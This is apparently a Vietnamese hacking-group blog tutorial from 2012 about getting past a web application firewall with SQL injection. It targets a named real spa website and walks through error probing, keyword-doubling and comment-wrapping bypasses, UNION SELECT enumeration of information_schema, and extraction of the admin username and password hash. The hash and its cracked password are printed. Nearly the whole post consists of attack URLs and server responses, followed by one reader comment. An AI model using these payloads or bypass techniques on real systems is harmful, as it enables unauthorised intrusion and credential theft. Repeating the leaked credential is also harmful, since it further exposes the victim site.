Thứ Hai, 29 tháng 10, 2012
[TUT] Bypass Filter + 403 Forbidden SQL Injection
Victim :
check lỗi :
Quote:
| You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1 |
Quote:
| http://spaadam.com/vi/news.php?newsid=108 order by 1-- - |
Quote:
| You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'der by 1-- -' at line 1 |
nó cắn mất thì ta thêm lại. bypass nó như sau :
Quote:
| http://spaadam.com/vi/news.php?newsid=108 oorrder by 1-- - |
Quote:
| You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1-- -' at line 1 |
Quote:
| http://spaadam.com/vi/news.php?newsid=108 /*!oorrder*/ /*!by*/ 1-- - |
Quote:
| Một số hình ảnh mới về Spa Adam Posted on 2012-03-15 14:37:25 |
Quote:
| http://spaadam.com/vi/news.php?newsid=108 /*!oorrder*/ /*!by*/ 7-- - |
Quote:
| Unknown column '7' in 'order clause' |
Quote:
| http://spaadam.com/vi/news.php?newsid=108 /*!oorrder*/ /*!by*/ 6-- - |
Quote:
| Một số hình ảnh mới về Spa Adam Posted on 2012-03-15 14:37:25 |
Ta tiếp tục UNION SELECT -> tìm cột lỗi để khai thác
Quote:
| http://spaadam.com/vi/news.php?newsid=-108 UNION SELECT 1,2,3,4,5,6-- - |
Quote:
| 403 Forbidden |
Quote:
| http://spaadam.com/vi/news.php?newsid=-108 /*!UNION*/ SELECT 1,2,3,4,5,6-- - |
Quote:
| You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '1,2,3,4,5,6-- -' at line 1 |
!Bypass :
Quote:
| http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT 1,2,3,4,5,6-- - |
Quote:
| http://spaadam.com/vi/news.php?newsid=Null /*!UNIUNIONON*/ SESELECTLECT 1,2,3,4,5,6-- - |
Tiếp tục thử thay số bằng Null ( 1,2,3,4,5,6 = Null,Null,Null,Null,Null,Null )
Quote:
| http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,Null,Null-- - |
Quote:
| http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,version(),Null-- - |
Quote:
| You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '.9-MariaDB-mariadb102' at line 1 |
Quote:
| http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!concat(0x7c,version())*/,Null-- - |
Quote:
| You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '|5.2.9-MariaDB-mariadb102' at line 1 |
Quote:
| http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!table_name*/,Null /*!from*/ information_schema./*!tables*/ where table_schema=database()-- - |
Quote:
| You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near './*!tables*/ where table_schema=databe()-- -' at line 1 |
như lúc order by với union. nó cắn ở đâu thì ta vá lại ở đó :
Quote:
| http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!table_name*/,Null /*!frfromom*/ information_schema./*!tables*/ where table_schema=databaasse()-- - |
Quote:
| You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'infmation_schema./*!tables*/ where table_schema=database()-- -' at line 1 |
Nào cùng vá lại nó :
Quote:
| http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!table_name*/,Null /*!frfromom*/ infoorrmation_schema./*!tables*/ where table_schema=databaasse()-- - |
Quote:
| Unknown column 'admin' in 'where clause' |
tiếp tục khai thác column trong table admin
Quote:
| http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!column_name*/,Null /*!frfromom*/ infoorrmation_schema./*!columns*/ where table_schema=databaasse() and table_name=0x61646d696e-- - |
Quote:
| Posted on |
Quote:
| http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!group_concat(column_name)*/,Null /*!frfromom*/ infoorrmation_schema./*!columns*/ where table_schema=databaasse() and table_name=0x61646d696e-- - |
Quote:
| You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near 'username,password' at line 1 |
Quote:
| http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!username*/,Null /*!frfromom*/ admin-- - |
Quote:
| You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 |
Quote:
| http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!username*/,Null /*!frfromom*/ adadminmin-- - |
Quote:
| Unknown column 'admin' in 'where clause' |
Quote:
| http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!password*/,Null /*!frfromom*/ adadminmin-- - |
Quote:
| Unknown column 'pswd' in 'field list' |
mà là password đã bị nó cắn thôi. giờ TÁT vỡ mồm nó vì cái tội cắn từ đầu đến cuối nhé
Quote:
| http://spaadam.com/vi/news.php?newsid=-108 /*!UNIUNIONON*/ SESELECTLECT Null,Null,Null,Null,/*!paassswoorrd*/,Null /*!frfromom*/ adadminmin-- - |
Quote:
| Unknown column '5f8f9e33bb5e13848af2622b66b2308c' in 'where clause' |
Pass: vietnam ( anh em gg táng 5f8f9e33bb5e13848af2622b66b2308c vào nhé
)Tut hết tại đây. Có gì sai sót mong anh em góp ý
Kẻ Chọc Giận - VNHACKGROUP.NET
Đăng ký:
Đăng Nhận xét (Atom)
Mình hay gặp lỗi 403 này cơ mà không phải dân kĩ thuật nên cũng không biết làm, lần nào gặp lỗi cũng đi liên hệ với bên cho bên mình thuê máy chủ cho nhanh.
Trả lờiXóaThanks Admin